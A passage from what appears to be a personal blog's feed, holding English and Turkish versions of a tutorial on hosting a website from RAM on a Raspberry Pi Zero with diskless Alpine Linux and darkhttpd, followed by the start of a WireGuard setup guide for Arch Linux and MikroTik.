Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;rc-service&lt;span class="w"&gt; &lt;/span&gt;darkhttpd&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="step-4-ensuring-persistence-lbu-commit"&gt;💾 Step 4: Ensuring Persistence (lbu commit)&lt;a class="headerlink" href="#step-4-ensuring-persistence-lbu-commit" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Everything is working right now, but if the electricity goes out, everything will be deleted. We must add the script and web folder we just created to Alpine's backup list:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;include&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;include&lt;span class="w"&gt; &lt;/span&gt;/var/www
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="w"&gt; &lt;/span&gt;-d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;lbu commit -d&lt;/code&gt; command packages these changes currently in RAM and writes them as an &lt;code&gt;apkovl&lt;/code&gt; file to that small FAT32 partition on the SD card.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="troubleshooting-and-critical-checks"&gt;🛠️ Troubleshooting and Critical Checks&lt;a class="headerlink" href="#troubleshooting-and-critical-checks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before finishing the post, check these "must-haves" for the system to work:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Outer World Access:&lt;/strong&gt; Is the &lt;code&gt;socat&lt;/code&gt; tunnel on the VPS working? (e.g., &lt;code&gt;socat TCP-LISTEN:80,fork,reuseaddr TCP:HOME_IP:80 &amp;amp;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAM Usage:&lt;/strong&gt; Make sure that the &lt;code&gt;/&lt;/code&gt; (root) directory appears as &lt;code&gt;tmpfs&lt;/code&gt; when you run the &lt;code&gt;df -h&lt;/code&gt; command.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistence Test:&lt;/strong&gt; Perform a &lt;code&gt;reboot&lt;/code&gt; once. If the &lt;code&gt;darkhttpd&lt;/code&gt; service does not start automatically or your files inside &lt;code&gt;/var/www&lt;/code&gt; are missing, it means you have done the &lt;code&gt;lbu include&lt;/code&gt; step wrong.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to backup the system, run this command from your Arch machine while the Pi is on:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;root@pi-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dd if=/dev/mmcblk0 bs=4M"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;zero-full-backup.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That's it! A whole world inside 512MB RAM. This is exactly the physical embodiment of the "efficiency" philosophy I mentioned in my &lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt; article, karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Farewell, may your RAM be plentiful!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-mikrotik-wireguard-kurulumu/"&gt;WireGuard from Arch Linux to MikroTik: DNS Trouble and Clean Setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/png-mogrify-chunk-hatalari-cozumu/"&gt;My Trial with PNG Files: Mogrify and Those Annoying Chunk Errors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"/><category term="raspberry pi"/><category term="pi zero"/><category term="alpine linux"/><category term="ram"/><category term="diskless"/><category term="self-hosting"/></entry><entry><title>Diskleri Çöpe Atın: Raspberry Pi Zero ile Tamamen RAM Üstünde Site Barındırmak</title><link href="https://yuceltoluyag.github.io/raspberry-pi-zero-ram-diskless-web-server/" rel="alternate"/><published>2026-05-11T00:05:00+03:00</published><updated>2026-05-11T00:05:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/raspberry-pi-zero-ram-diskless-web-server/</id><summary type="html">&lt;p&gt;512MB RAM'li bir Pi Zero'yu tamamen diskless bir Alpine Linux sunucusuna çevirip, üzerinde nasıl web sitesi barındıracağınızı anlatan çılgın bir rehber.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Elinizde bir Raspberry Pi Zero (v1.3 veya W) varsa, asl&amp;inodot;nda elinizde d&amp;uuml;nyan&amp;inodot;n en dayan&amp;inodot;kl&amp;inodot; mikro sunucusu var demektir. Tabii e&amp;gbreve;er SD kart&amp;inodot; sadece "a&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil;" i&amp;ccedil;in kullan&amp;inodot;p, sistemin geri kalan&amp;inodot;n&amp;inodot; tamamen RAM &amp;uuml;zerinde ko&amp;scedil;turursan&amp;inodot;z. Bug&amp;uuml;n, diskless (disksiz) &amp;ccedil;al&amp;inodot;&amp;scedil;an ve sadece 512MB RAM'in i&amp;ccedil;ine s&amp;inodot;&amp;gbreve;an Alpine Linux tabanl&amp;inodot; bir web sunucusu kuruyoruz.&lt;/p&gt;
&lt;p&gt;SD kartlar &amp;ouml;l&amp;uuml;r, yazma limitleri biter ama RAM (e&amp;gbreve;er elektrik varsa) asla yorulmaz. Hadi bu &amp;ccedil;&amp;inodot;lg&amp;inodot;nl&amp;inodot;&amp;gbreve;&amp;inodot;n detaylar&amp;inodot;na Arch Linux terminalimizden dalal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="adm-1-sd-kart-arch-linux-uzerinde-hazrlamak"&gt;💾 Ad&amp;inodot;m 1: SD Kart&amp;inodot; Arch Linux &amp;Uuml;zerinde Haz&amp;inodot;rlamak&lt;a class="headerlink" href="#adm-1-sd-kart-arch-linux-uzerinde-hazrlamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kaynaklarda genelde macOS anlat&amp;inodot;l&amp;inodot;r ama biz i&amp;scedil;imizi Arch terminalinde, &lt;code&gt;fdisk&lt;/code&gt; ile cerrah titizli&amp;gbreve;inde halledece&amp;gbreve;iz. SD kart&amp;inodot;n&amp;inodot;z&amp;inodot;n &lt;code&gt;/dev/sdX&lt;/code&gt; oldu&amp;gbreve;unu varsay&amp;inodot;yorum (aman dikkat, yanl&amp;inodot;&amp;scedil; diski u&amp;ccedil;urmay&amp;inodot;n!).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;span class="c1"&gt;# 'o' ile yeni partition table, 'n' ile yeni partition (FAT32 i&amp;ccedil;in) olu&amp;scedil;turun.&lt;/span&gt;
&lt;span class="c1"&gt;# Tipini 'b' (W95 FAT32) yapmay&amp;inodot; unutmay&amp;inodot;n.&lt;/span&gt;

yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.vfat&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;ALPINE&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1&lt;span class="w"&gt; &lt;/span&gt;/mnt
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tar&lt;span class="w"&gt; &lt;/span&gt;xzf&lt;span class="w"&gt; &lt;/span&gt;alpine-rpi-*.tar.gz&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;/mnt
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kart&amp;inodot; Pi Zero'ya tak&amp;inodot;n, klavye ve monit&amp;ouml;r&amp;uuml; ba&amp;gbreve;lay&amp;inodot;p g&amp;uuml;c&amp;uuml; verin. &lt;code&gt;root&lt;/code&gt; ile &amp;scedil;ifresiz giri&amp;scedil; yap&amp;inodot;n.&lt;/p&gt;
&lt;h2 id="adm-2-alpine-linux-diskless-modu-ve-lbu"&gt;🧠 Ad&amp;inodot;m 2: Alpine Linux Diskless Modu ve lbu&lt;a class="headerlink" href="#adm-2-alpine-linux-diskless-modu-ve-lbu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pi a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda her &amp;scedil;ey RAM'dedir ama yapt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z de&amp;gbreve;i&amp;scedil;ikliklerin kal&amp;inodot;c&amp;inodot; olmas&amp;inodot; i&amp;ccedil;in Alpine'in &lt;code&gt;lbu&lt;/code&gt; (Local Backup) arac&amp;inodot;n&amp;inodot; kurmam&amp;inodot;z &amp;scedil;art.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;setup-lbu&lt;span class="w"&gt; &lt;/span&gt;mmcblk0p1
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/media/mmcblk0p1/cache
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;setup-apkcache&lt;span class="w"&gt; &lt;/span&gt;/media/mmcblk0p1/cache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Scedil;imdi as&amp;inodot;l sihirli komutu veriyoruz: &lt;code&gt;setup-alpine&lt;/code&gt;. &lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Kritik Se&amp;ccedil;im!&lt;/p&gt;
&lt;p&gt;Kurulum s&amp;inodot;ras&amp;inodot;nda &lt;strong&gt;"Disk"&lt;/strong&gt; se&amp;ccedil;imi geldi&amp;gbreve;inde mutlaka &lt;strong&gt;"none"&lt;/strong&gt; demeniz gerekiyor. Bu, i&amp;scedil;letim sisteminin SD karta kurulmas&amp;inodot;n&amp;inodot; engeller ve sistemi tamamen RAM'e (tmpfs) y&amp;uuml;kler. SSH olarak &lt;code&gt;dropbear&lt;/code&gt; se&amp;ccedil;in, &amp;ccedil;&amp;uuml;nk&amp;uuml; k&amp;inodot;s&amp;inodot;tl&amp;inodot; RAM'imizde OpenSSH l&amp;uuml;ks ka&amp;ccedil;ar.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="adm-3-sunucu-kurulumu-ve-otomasyon"&gt;🌐 Ad&amp;inodot;m 3: Sunucu Kurulumu ve Otomasyon&lt;a class="headerlink" href="#adm-3-sunucu-kurulumu-ve-otomasyon" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Web sunucusu olarak &lt;code&gt;darkhttpd&lt;/code&gt; kullanaca&amp;gbreve;&amp;inodot;z. Hafiftir, h&amp;inodot;zl&amp;inodot;d&amp;inodot;r ve tam da Pi Zero'ya g&amp;ouml;redir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;apk&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/var/www/localhost/htdocs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sistemin her a&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil;ta sunucuyu ba&amp;scedil;latmas&amp;inodot; i&amp;ccedil;in &lt;code&gt;/etc/init.d/darkhttpd&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; &amp;scedil;u i&amp;ccedil;erikle olu&amp;scedil;turun:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/sbin/openrc-run&lt;/span&gt;
&lt;span class="nv"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"darkhttpd static web server"&lt;/span&gt;
&lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/darkhttpd"&lt;/span&gt;
&lt;span class="nv"&gt;command_args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/localhost/htdocs --port 80 --maxconn 20"&lt;/span&gt;
&lt;span class="nv"&gt;command_background&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;span class="nv"&gt;pidfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/run/darkhttpd.pid"&lt;/span&gt;

depend&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;need&lt;span class="w"&gt; &lt;/span&gt;net
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Script'i yetkilendirin ve ba&amp;scedil;lang&amp;inodot;ca ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;rc-update&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;darkhttpd&lt;span class="w"&gt; &lt;/span&gt;default
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;rc-service&lt;span class="w"&gt; &lt;/span&gt;darkhttpd&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="adm-4-kalclg-saglamak-lbu-commit"&gt;💾 Ad&amp;inodot;m 4: Kal&amp;inodot;c&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; Sa&amp;gbreve;lamak (lbu commit)&lt;a class="headerlink" href="#adm-4-kalclg-saglamak-lbu-commit" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;u an her &amp;scedil;ey &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor ama elektrik giderse her &amp;scedil;ey silinir. Yeni olu&amp;scedil;turdu&amp;gbreve;umuz script'i ve web klas&amp;ouml;r&amp;uuml;n&amp;uuml; Alpine'in yedekleme listesine eklemeliyiz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;include&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;include&lt;span class="w"&gt; &lt;/span&gt;/var/www
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;lbu&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="w"&gt; &lt;/span&gt;-d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;lbu commit -d&lt;/code&gt; komutu, o an RAM'de olan bu de&amp;gbreve;i&amp;scedil;iklikleri paketleyip SD karttaki o k&amp;uuml;&amp;ccedil;&amp;uuml;k FAT32 b&amp;ouml;l&amp;uuml;m&amp;uuml;ne &lt;code&gt;apkovl&lt;/code&gt; dosyas&amp;inodot; olarak yazar.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sorun-giderme-ve-kritik-kontroller"&gt;🛠️ Sorun Giderme ve Kritik Kontroller&lt;a class="headerlink" href="#sorun-giderme-ve-kritik-kontroller" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yaz&amp;inodot;y&amp;inodot; bitirmeden &amp;ouml;nce, sistemin &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; i&amp;ccedil;in &amp;scedil;u "olmazsa olmazlar&amp;inodot;" kontrol edin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;D&amp;inodot;&amp;scedil; D&amp;uuml;nya Eri&amp;scedil;imi:&lt;/strong&gt; VPS &amp;uuml;zerindeki &lt;code&gt;socat&lt;/code&gt; t&amp;uuml;neli &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu? (&amp;Ouml;rn: &lt;code&gt;socat TCP-LISTEN:80,fork,reuseaddr TCP:EV_IP:80 &amp;amp;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAM Kullan&amp;inodot;m&amp;inodot;:&lt;/strong&gt; &lt;code&gt;df -h&lt;/code&gt; komutunu verdi&amp;gbreve;inizde &lt;code&gt;/&lt;/code&gt; (root) dizininin &lt;code&gt;tmpfs&lt;/code&gt; olarak g&amp;ouml;r&amp;uuml;nd&amp;uuml;&amp;gbreve;&amp;uuml;nden emin olun.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistence Testi:&lt;/strong&gt; Bir kez &lt;code&gt;reboot&lt;/code&gt; at&amp;inodot;n. E&amp;gbreve;er &lt;code&gt;darkhttpd&lt;/code&gt; servisi kendili&amp;gbreve;inden kalkm&amp;inodot;yorsa veya &lt;code&gt;/var/www&lt;/code&gt; i&amp;ccedil;indeki dosyalar&amp;inodot;n&amp;inodot;z yoksa &lt;code&gt;lbu include&lt;/code&gt; ad&amp;inodot;m&amp;inodot;n&amp;inodot; yanl&amp;inodot;&amp;scedil; yapm&amp;inodot;&amp;scedil;s&amp;inodot;n&amp;inodot;z demektir.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sistemi yedeklemek isterseniz, Pi a&amp;ccedil;&amp;inodot;kken Arch makinenizden &amp;scedil;u komutu verin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;root@pi-ip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dd if=/dev/mmcblk0 bs=4M"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;zero-full-backup.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te bu kadar! 512MB RAM i&amp;ccedil;inde koca bir d&amp;uuml;nya. &lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt; yaz&amp;inodot;mda bahsetti&amp;gbreve;im o "verimlilik" felsefesinin donan&amp;inodot;m bulmu&amp;scedil; hali tam olarak budur karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla, RAM'iniz bol olsun!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-mikrotik-wireguard-kurulumu/"&gt;Arch Linux'tan MikroTik'e WireGuard: DNS Belas&amp;inodot; ve Temiz Kurulum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/png-mogrify-chunk-hatalari-cozumu/"&gt;PNG Dosyalar&amp;inodot;yla &amp;Idot;mtihan&amp;inodot;m: Mogrify ve Chunk Hatalar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"/><category term="raspberry pi"/><category term="pi zero"/><category term="alpine linux"/><category term="ram"/><category term="diskless"/><category term="self-hosting"/></entry><entry><title>WireGuard from Arch Linux to MikroTik: DNS Trouble and Clean Setup</title><link href="https://yuceltoluyag.github.io/en/arch-linux-mikrotik-wireguard-kurulumu/" rel="alternate"/><published>2026-05-10T23:05:00+03:00</published><updated>2026-05-10T23:05:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-10:/en/arch-linux-mikrotik-wireguard-kurulumu/</id><summary type="html">&lt;p&gt;I explain how to set up WireGuard on Arch Linux to connect to MikroTik, and the most accurate way to solve the famous DNS 'signature mismatch' error that you will encounter.&lt;/p&gt;</summary><content type="html">&lt;p&gt;If you are using Arch Linux, just "installing" something is not enough; you also need to know how that thing fights with the rest of the system (especially NetworkManager and DNS). Today, I will explain how to set up a MikroTik as a VPN Hub and connect an Arch Linux peer to it.&lt;/p&gt;
&lt;p&gt;Since I also get tired of looking for configurations in my old notes and all over the place every single time, I am leaving the entire process and the solution to that annoying DNS error right here in one piece.&lt;/p&gt;
&lt;h2 id="step-1-arming-ourselves-with-tools"&gt;📦 Step 1: Arming Ourselves with Tools&lt;a class="headerlink" href="#step-1-arming-ourselves-with-tools" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First of all, the package we need is &lt;code&gt;wireguard-tools&lt;/code&gt;. This package brings both the necessary helper tools and the systemd units that will manage the connection.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;wireguard-tools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="step-2-key-generation-and-permissions"&gt;🔑 Step 2: Key Generation and Permissions&lt;a class="headerlink" href="#step-2-key-generation-and-permissions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;WireGuard keys are kept under &lt;code&gt;/etc/wireguard/&lt;/code&gt;. Let's create the folder and generate the keys in a single line (I usually do this, it's faster):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-i
&lt;span class="c1"&gt;# Create the directory and enter it&lt;/span&gt;
root@archlinux:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/etc/wireguard/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/wireguard/
&lt;span class="c1"&gt;# Generate keys and set permissions&lt;/span&gt;
root@archlinux:/etc/wireguard#&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;genkey&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;privatekey&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;pubkey&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;publickey
root@archlinux:/etc/wireguard#&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;privatekey
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Make sure that only root can read the &lt;code&gt;privatekey&lt;/code&gt; file here; otherwise, the system will start screaming at you about "security".&lt;/p&gt;
&lt;h2 id="step-3-configuration-wg0conf"&gt;⚙️ Step 3: Configuration (wg0.conf)&lt;a class="headerlink" href="#step-3-configuration-wg0conf" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now we get to the real business. Let's create the &lt;code&gt;/etc/wireguard/wg0.conf&lt;/code&gt; file. Adding your own nickname or a custom note here makes it easier to track the configuration.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Interface]&lt;/span&gt;
&lt;span class="c1"&gt;# Friday13 VPN Peer Configuration&lt;/span&gt;
&lt;span class="na"&gt;PrivateKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;YOUR_PRIVATE_KEY&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;Address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.10/32&lt;/span&gt;
&lt;span class="na"&gt;DNS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;192.168.0.1, 10.100.0.1&lt;/span&gt;

&lt;span class="k"&gt;[Peer]&lt;/span&gt;
&lt;span class="c1"&gt;# MikroTik Office Gateway&lt;/span&gt;
&lt;span class="na"&gt;PublicKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;MIKROTIK_PUBLIC_KEY&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;Endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;178.xxx.xxx.184:51820&lt;/span&gt;
&lt;span class="na"&gt;AllowedIPs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.0/24, 192.168.0.0/24&lt;/span&gt;
&lt;span class="na"&gt;PersistentKeepalive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;25&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;At this point, you also need to add a new Peer on the MikroTik side and enter your Arch machine's &lt;code&gt;publickey&lt;/code&gt; content there.&lt;/p&gt;
&lt;hr/&gt;
